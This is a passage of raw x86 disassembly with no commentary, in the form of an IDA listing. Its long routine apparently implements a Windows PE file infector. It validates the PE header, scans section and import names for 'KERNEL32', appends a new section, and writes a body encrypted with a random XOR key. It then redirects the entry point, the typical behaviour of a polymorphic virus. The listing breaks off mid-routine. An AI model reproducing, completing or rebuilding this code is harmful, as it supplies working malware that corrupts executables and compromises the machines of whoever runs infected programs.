		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43FF3A
		add	esp, 144h


loc_440412:				; CODE XREF: sub_44030E+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44030E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440417	proc near		; CODE XREF: sub_43B045+5AFp
					; sub_43B045+61Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		not	edx
		mov	ecx, esi
		or	ecx, edx
		xor	eax, ecx
		add	eax, [ebp+arg_10]
		add	eax, edi
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_4420F4
		add	esp, 8
		mov	edi, esi
		add	edi, eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_440417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440450	proc near		; CODE XREF: sub_43B045+3CEp
					; sub_43B045+43Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_18]
		mov	edx, esi
		xor	edx, [ebp+arg_8]
		xor	edx, [ebp+arg_C]
		add	eax, edx
		add	eax, [ebp+arg_10]
		add	eax, edi
		mov	edi, eax
		push	[ebp+arg_14]
		push	edi
		call	sub_4420F4
		add	esp, 8
		mov	edi, esi
		add	edi, eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_440450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440485	proc near		; CODE XREF: sub_43C506+239p

var_3200D	= byte ptr -3200Dh
var_32008	= dword	ptr -32008h
var_32004	= dword	ptr -32004h
var_32000	= byte ptr -32000h
var_31FFF	= byte ptr -31FFFh
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= byte ptr -31ED8h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_117F	= byte ptr -117Fh
var_1080	= dword	ptr -1080h
var_107C	= dword	ptr -107Ch
var_1078	= dword	ptr -1078h
var_1074	= dword	ptr -1074h
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32008h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_551168
		add	eax, dword_551208
		sub	eax, 6
		mov	[ebp+var_31EE4], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, ds:dword_4CE9F0
		lea	eax, [ebp+eax+var_31ED8]
		push	eax
		call	ds:dword_4CD914
		add	esp, 0Ch


loc_4404C7:				; CODE XREF: sub_440485+C5j
		movsx	eax, word_5511BC
		movsx	edx, word_55123C
		add	eax, edx
		sub	eax, 8
		push	eax
		mov	eax, dword_551138
		add	eax, dword_5510BC
		sub	eax, 3
		push	eax
		push	3
		mov	eax, dword_55116C
		sub	eax, 9
		push	eax
		mov	eax, dword_551124
		add	eax, dword_551258
		sub	eax, 0Ah
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_54FC18
		mov	[ebp+var_1070],	eax
		mov	ecx, dword_551160
		add	ecx, 0FFFFFFF2h
		add	ecx, dword_5510B8
		cmp	ecx, eax
		jnz	short loc_440556
		inc	[ebp+var_31EE4]
		mov	eax, dword_5510A4
		sub	eax, 8
		cmp	eax, [ebp+var_31EE4]
		jnz	short loc_44054F
		push	[ebp+arg_0]
		call	sub_43BCA0
		pop	ecx
		jmp	loc_4404C7
; ---------------------------------------------------------------------------


loc_44054F:				; CODE XREF: sub_440485+BAj
		xor	eax, eax
		jmp	loc_441A29
; ---------------------------------------------------------------------------


loc_440556:				; CODE XREF: sub_440485+A4j
		mov	eax, dword_5511E8
		add	eax, dword_5510C8
		sub	eax, 7
		push	eax
		push	[ebp+var_1070]
		call	ds:dword_4CEA14
		mov	[ebp+var_10], eax
		add	eax, 1FFFFh
		add	eax, [ebp+arg_8]
		push	eax
		push	0
		call	ds:dword_48B9EC
		mov	[ebp+var_4], eax
		push	dword_5511FC
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_448034
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EE0]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_441A12
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_441A12
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		movsx	edx, word_551180
		dec	edx
		cmp	eax, edx
		jz	loc_441A12
		and	[ebp+var_1184],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, dword_5510DC
		add	ecx, 6
		cmp	edx, ecx
		jnz	short loc_440655
		mov	edx, dword_55121C
		add	edx, 8
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_440655
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EF4], eax
		mov	eax, dword_5511E8
		add	eax, dword_551248
		sub	eax, 2
		cmp	[ebp+var_31EF4], eax
		jnb	loc_441A12
		mov	[ebp+var_1184],	1


loc_440655:				; CODE XREF: sub_440485+18Fj
					; sub_440485+1A0j
		mov	eax, dword_55113C
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 0Dh
		cmp	[ebp+var_1184],	eax
		jz	short loc_4406C1
		mov	eax, dword_5511A0
		add	eax, dword_5511F0
		sub	eax, 3
		cmp	[ebp+var_31EF4], eax
		jnb	short loc_4406A3
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_5511E0
		add	ecx, dword_551190
		sub	ecx, 0Bh
		sub	edx, ecx
		mov	[eax], dx
		jmp	short loc_4406C1
; ---------------------------------------------------------------------------


loc_4406A3:				; CODE XREF: sub_440485+1FDj
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_551158
		inc	ecx
		movsx	edi, word_551170
		add	ecx, edi
		sub	edx, ecx
		mov	[eax], dx


loc_4406C1:				; CODE XREF: sub_440485+1E7j
					; sub_440485+21Cj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+80h]
		mov	[ebp+var_430], ecx
		mov	eax, [eax+0D4h]
		add	eax, 0F8h
		add	eax, [ebp+var_840]
		mov	[ebp+var_1074],	eax
		mov	eax, 28h
		movsx	ecx, word_55111C
		add	ecx, 3
		mul	ecx
		mov	[ebp+var_31EF8], eax
		add	[ebp+var_1074],	eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31EFC], eax
		add	[ebp+var_1074],	eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+54h]
		cmp	[ebp+var_1074],	eax
		ja	loc_441A12
		movsx	eax, word_5510E4
		movsx	edx, word_551140
		add	eax, edx
		sub	eax, 5
		mov	[ebp+var_1C], eax
		mov	eax, dword_5511F4
		add	eax, dword_551178
		sub	eax, 8
		mov	[ebp+var_C54], eax
		movsx	eax, word_5510E4
		mov	[ebp+var_105C],	eax
		mov	eax, dword_551134
		add	eax, dword_55126C
		sub	eax, 10h
		mov	[ebp+var_434], eax
		jmp	loc_44083E
; ---------------------------------------------------------------------------


loc_440780:				; CODE XREF: sub_440485+3C6j
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		add	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F08]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F00], eax
		mov	eax, [esi+10h]
		add	eax, [esi+14h]
		mov	[ebp+var_31F04], eax
		mov	ecx, [ebp+var_C54]
		cmp	eax, ecx
		jbe	short loc_4407D1
		mov	[ebp+var_C54], eax


loc_4407D1:				; CODE XREF: sub_440485+344j
		mov	eax, [ebp+var_1C]
		cmp	[ebp+var_31F00], eax
		jbe	short loc_4407E5
		mov	eax, [ebp+var_31F00]
		mov	[ebp+var_1C], eax


loc_4407E5:				; CODE XREF: sub_440485+355j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [ebp+var_31F00]
		jnb	short loc_440810
		cmp	eax, [esi+0Ch]
		jb	short loc_440810
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_440810:				; CODE XREF: sub_440485+36Fj
					; sub_440485+374j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_440838
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_440838
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_430]
		sub	edx, [esi+0Ch]
		add	eax, edx
		mov	[ebp+var_844], eax


loc_440838:				; CODE XREF: sub_440485+396j
					; sub_440485+39Dj
		inc	[ebp+var_434]


loc_44083E:				; CODE XREF: sub_440485+2F6j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_440780
		movsx	eax, word_551144
		add	eax, 0FFFh
		push	eax
		push	[ebp+var_1C]
		call	sub_43E8CA
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	eax, dword_5510C4
		add	eax, dword_5511D0
		sub	eax, 0Ch
		cmp	[ebp+var_1184],	eax
		jz	short loc_44088B
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_44088B:				; CODE XREF: sub_440485+3FBj
		mov	eax, [ebp+var_8]
		movsx	edx, word_55112C
		movsx	ecx, word_55120C
		add	edx, ecx
		sub	edx, 5
		cmp	[eax+0A8h], edx
		jnz	short loc_4408B8
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jnz	loc_441A12


loc_4408B8:				; CODE XREF: sub_440485+422j
		movsx	eax, word_5511CC
		add	eax, dword_551090
		sub	eax, 7
		cmp	[ebp+var_105C],	eax
		jz	loc_440999
		mov	eax, dword_551108
		sub	eax, 2
		mov	[ebp+var_31F08], eax
		mov	eax, dword_55116C
		sub	eax, 9
		mov	[ebp+var_31F00], eax
		jmp	short loc_440940
; ---------------------------------------------------------------------------


loc_4408F2:				; CODE XREF: sub_440485+4E1j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F0C], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F00]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_31F0C]
		mov	edx, [ebp+var_31F10]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F04], eax
		mov	edx, [ebp+var_31F08]
		cmp	[eax+18h], edx
		jbe	short loc_44093A
		mov	eax, [eax+18h]
		mov	[ebp+var_31F08], eax


loc_44093A:				; CODE XREF: sub_440485+4AAj
		inc	[ebp+var_31F00]


loc_440940:				; CODE XREF: sub_440485+46Bj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F0C], edx
		mov	edi, edx
		cmp	[ebp+var_31F00], edi
		jb	short loc_4408F2
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F08]
		call	sub_43E8CA
		add	esp, 8
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_31F08]
		jz	short loc_440999
		cmp	eax, [ebp+var_10]
		jnz	loc_441A12


loc_440999:				; CODE XREF: sub_440485+449j
					; sub_440485+509j
		and	[ebp+var_1078],	0
		mov	eax, dword_551190
		sub	eax, 6
		mov	[ebp+var_438], eax
		jmp	loc_440AF7
; ---------------------------------------------------------------------------


loc_4409B3:				; CODE XREF: sub_440485+681j
		mov	eax, [ebp+var_438]
		add	eax, [ebp+var_844]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32004], eax
		mov	eax, dword_55124C
		add	eax, dword_5511DC
		sub	eax, 0Eh
		mov	edx, [ebp+var_32004]
		cmp	eax, [edx]
		jz	loc_440B0C
		mov	eax, [ebp+var_844]
		mov	edx, [ebp+var_32004]
		mov	edx, [edx+0Ch]
		sub	edx, [ebp+var_430]
		add	eax, edx
		mov	[ebp+var_32008], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_31FFF]
		push	eax
		call	ds:dword_44B1A4
		add	esp, 8
		mov	eax, dword_551270
		sub	eax, 5
		mov	[ebp+var_31F00], eax
		jmp	short loc_440A50
; ---------------------------------------------------------------------------


loc_440A25:				; CODE XREF: sub_440485+5E4j
		mov	eax, [ebp+var_31F00]
		mov	al, [ebp+eax+var_31FFF]
		cmp	al, 7Ah
		jge	short loc_440A4A
		cmp	al, 61h
		jle	short loc_440A4A
		mov	eax, [ebp+var_31F00]
		lea	eax, [ebp+eax+var_31FFF]
		sub	byte ptr [eax],	20h


loc_440A4A:				; CODE XREF: sub_440485+5AFj
					; sub_440485+5B3j
		inc	[ebp+var_31F00]


loc_440A50:				; CODE XREF: sub_440485+59Ej
		mov	eax, [ebp+var_31F00]
		movsx	eax, [ebp+eax+var_31FFF]
		mov	edx, dword_5510A4
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_440A25
		movsx	eax, word_5510AC
		add	eax, dword_551098
		cmp	byte ptr [ebp+eax+var_32004+2],	33h
		jnz	short loc_440AF0
		mov	eax, dword_551244
		cmp	byte ptr [ebp+eax+var_32004], 52h
		jnz	short loc_440AF0
		movsx	eax, word_551268
		cmp	byte ptr [ebp+eax+var_32004+3],	45h
		jnz	short loc_440AF0
		mov	eax, dword_551270
		add	eax, dword_5511DC
		cmp	[ebp+eax+var_3200D], 4Bh
		jnz	short loc_440AF0
		movsx	eax, word_5510F0
		add	eax, dword_551108
		cmp	[ebp+eax+var_31FFF], 4Ch
		jnz	short loc_440AF0
		mov	eax, dword_5510B4
		movsx	edx, word_551234
		add	eax, edx
		cmp	[ebp+eax+var_32000], 32h
		jnz	short loc_440AF0
		mov	[ebp+var_1078],	1


loc_440AF0:				; CODE XREF: sub_440485+5FBj
					; sub_440485+60Aj ...
		add	[ebp+var_438], 14h


loc_440AF7:				; CODE XREF: sub_440485+529j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_4409B3


loc_440B0C:				; CODE XREF: sub_440485+559j
		mov	eax, dword_551124
		sub	eax, 9
		cmp	[ebp+var_1078],	eax
		jz	loc_441A12
		mov	eax, [ebp+var_8]
		or	word ptr [eax+16h], 1
		mov	eax, ds:dword_4CE9F0
		lea	eax, [ebp+eax+var_31ED8]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_848], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_84C], eax
		cmp	[ebp+var_1184],	0
		jnz	loc_440C61
		mov	eax, [ebp+var_8]
		movsx	edx, word_5511BC
		add	edx, dword_551090
		sub	edx, 6
		cmp	[eax+0D4h], edx
		jz	loc_440C61
		mov	edx, dword_5511D4
		add	edx, dword_551114
		sub	edx, 0Bh
		cmp	[eax+0D0h], edx
		jz	loc_440C61
		mov	edx, [ebp+var_1074]
		cmp	[eax+54h], edx
		jbe	loc_440C61
		mov	eax, [ebp+var_840]
		mov	[ebp+var_31F08], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_31F08]
		mov	edx, [ebp+var_31F0C]
		lea	eax, [eax+edx+0F8h]
		mov	[ebp+var_31F00], eax
		mov	eax, 28h
		mov	ecx, dword_551218
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_31F10], eax
		add	eax, [ebp+var_31F00]
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F00]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F04]
		add	edx, eax
		push	edx
		call	ds:dword_4CD914
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F14], eax
		mov	eax, 28h
		mov	ecx, dword_551184
		add	ecx, dword_551258
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_31F18], eax
		mov	eax, [ebp+var_31F14]
		mov	edx, eax
		mov	ecx, [ebp+var_31F18]
		add	[edx], ecx


loc_440C61:				; CODE XREF: sub_440485+6D1j
					; sub_440485+6F0j ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43E8CA
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_840]
		mov	[ebp+var_31F00], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F04], eax
		add	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F00]
		lea	esi, [edx+eax+0F8h]
		push	offset byte_552051
		call	sub_43AC94
		push	eax
		push	esi
		call	ds:dword_44B1A4
		mov	eax, dword_55110C
		add	eax, 0E0000015h
		add	eax, dword_5510F4
		mov	[esi+24h], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, dword_551198
		add	eax, 1FFF6h
		add	eax, dword_551154
		mov	[esi+8], eax
		mov	eax, dword_551250
		add	eax, 4
		add	eax, dword_551190
		push	eax
		mov	eax, dword_5510B4
		add	eax, dword_55116C
		sub	eax, 0Dh
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CDA34
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, ds:dword_4CE9F0
		push	eax
		call	sub_43E8CA
		mov	[esi+10h], eax
		call	ds:dword_550150
		mov	edi, dword_55124C
		movsx	edx, word_55120C
		add	edi, edx
		sub	edi, 4
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		mov	eax, dword_55114C
		add	eax, 1FFF3h
		movsx	edx, word_5510A0
		add	eax, edx
		add	[ebp+var_1C], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_43E8CA
		add	esp, 30h
		mov	[ebp+var_10], eax
		mov	eax, dword_551134
		add	eax, 38h
		mov	[ebp+var_43C], eax
		jmp	short loc_440DEA
; ---------------------------------------------------------------------------


loc_440DB5:				; CODE XREF: sub_440485+971j
		call	ds:dword_550150
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F0C], edx
		mov	[ebp+var_31F08], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F0C]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_440DEA:				; CODE XREF: sub_440485+92Ej
		mov	eax, [ebp+var_848]
		cmp	[ebp+var_43C], eax
		jb	short loc_440DB5
		call	ds:dword_550150
		mov	edi, dword_5511E0
		movsx	edx, word_551168
		add	edi, edx
		sub	edi, 0Ch
		add	edi, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F14], edx
		mov	[ebp+var_31F10], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F14]
		mov	[ecx+edi], dl
		mov	eax, dword_5510E8
		sub	eax, 7
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+var_1064]
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		call	ds:dword_550150
		mov	edi, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F1C], edx
		mov	[ebp+var_31F18], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F1C]
		mov	[ecx+edi], dl
		movsx	edi, word_55123C
		movsx	edx, word_5511EC
		add	edi, edx
		sub	edi, 5
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		mov	eax, dword_551128
		sub	eax, 7
		cmp	[ebp+var_1184],	eax
		jz	short loc_440F14
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, dword_5510DC
		add	edx, [eax+28h]
		mov	[ebp+var_31F20], edx
		mov	eax, [ebp+var_850]
		add	eax, 8
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F24], eax
		mov	eax, dword_5510A4
		sub	eax, 5
		mov	edx, [ebp+var_31F24]
		mov	ecx, dword_5511F4
		add	ecx, 0FFFFFFFAh
		sub	edx, ecx
		add	eax, edx
		add	eax, [ebp+var_31F20]
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F28]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_440F14:				; CODE XREF: sub_440485+A2Dj
		push	ds:dword_4CE9F0
		push	offset byte_48C1F0
		lea	eax, [ebp+var_31ED8]
		push	eax
		call	ds:dword_4CD914
		mov	eax, [esi+10h]
		add	eax, ds:dword_4CE9F0
		push	eax
		lea	eax, [ebp+var_31ED8]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CD914
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, ds:dword_4CE9F0
		mov	[ebp+var_1068],	eax
		mov	edx, dword_551230
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_440F89
; ---------------------------------------------------------------------------


loc_440F6F:				; CODE XREF: sub_440485+B13j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_440F89:				; CODE XREF: sub_440485+AE8j
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_1068]
		cmp	[ebp+var_424], eax
		jb	short loc_440F6F
		movsx	eax, word_5510D8
		add	eax, dword_5510F8
		sub	eax, 0Dh
		mov	[ebp+var_18], eax
		mov	eax, dword_5510B8
		sub	eax, 8
		mov	[ebp+var_440], eax
		jmp	loc_4412AE
; ---------------------------------------------------------------------------


loc_440FC0:				; CODE XREF: sub_440485+E39j
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		add	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F24]
		mov	esi, edx
		add	esi, eax
		mov	eax, [ebp+var_848]
		mov	[ebp+var_31F28], eax
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_42C]
		mov	edx, [ebp+var_31F2C]
		lea	eax, [edx+eax+0F8h]
		mov	edx, [ebp+var_31F28]
		mov	ebx, edx
		add	ebx, eax
		movsx	eax, word_551194
		movsx	edx, word_5510D8
		add	eax, edx
		sub	eax, 0Fh
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_441071
		mov	eax, dword_551218
		add	eax, 4
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_441071
		movsx	eax, word_551240
		add	eax, dword_5511F8
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_441071
		mov	eax, [ebx+14h]
		mov	[ebp+var_1080],	eax
		jmp	loc_4412A8
; ---------------------------------------------------------------------------


loc_441071:				; CODE XREF: sub_440485+BB8j
					; sub_440485+BC6j ...
		mov	eax, dword_5511F4
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_4410AF
		mov	eax, dword_551108
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4410AF
		mov	eax, dword_5511D4
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_4410AF
		mov	eax, [ebx+14h]
		mov	[ebp+var_107C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1188],	eax
		jmp	loc_4412A8
; ---------------------------------------------------------------------------


loc_4410AF:				; CODE XREF: sub_440485+BF5j
					; sub_440485+C03j ...
		movsx	eax, word_5511C8
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4410E5
		mov	eax, dword_551258
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_4410E5
		mov	eax, dword_551118
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_4412A8


loc_4410E5:				; CODE XREF: sub_440485+C41j
					; sub_440485+C4Cj
		movsx	eax, word_551094
		sub	eax, 3
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_44117D
		movsx	eax, word_5511AC
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 62h
		jnz	short loc_44117D
		movsx	eax, word_551180
		movsx	edx, word_5510AC
		add	eax, edx
		sub	eax, 6
		cmp	byte ptr [ebx+eax], 73h
		jnz	short loc_44117D
		add	esi, 0FFFFFFD8h
		movsx	eax, word_551274
		add	eax, 0E000001Fh
		mov	[esi+24h], eax
		mov	eax, dword_551160
		add	eax, 0FFAh
		movsx	edx, word_551144
		add	eax, edx
		push	eax
		push	dword ptr [esi+8]
		call	sub_43E8CA
		mov	edi, [ebx+8]
		add	edi, eax
		mov	[esi+8], edi
		mov	eax, dword_5510E0
		add	eax, 0FFFh
		push	eax
		mov	eax, [ebx+8]
		add	eax, [ebp+var_1C]
		push	eax
		call	sub_43E8CA
		add	esp, 10h
		mov	[ebp+var_1C], eax
		add	esi, 28h
		jmp	loc_4412A8
; ---------------------------------------------------------------------------


loc_44117D:				; CODE XREF: sub_440485+C6Ej
					; sub_440485+C82j ...
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, [ebx+8]
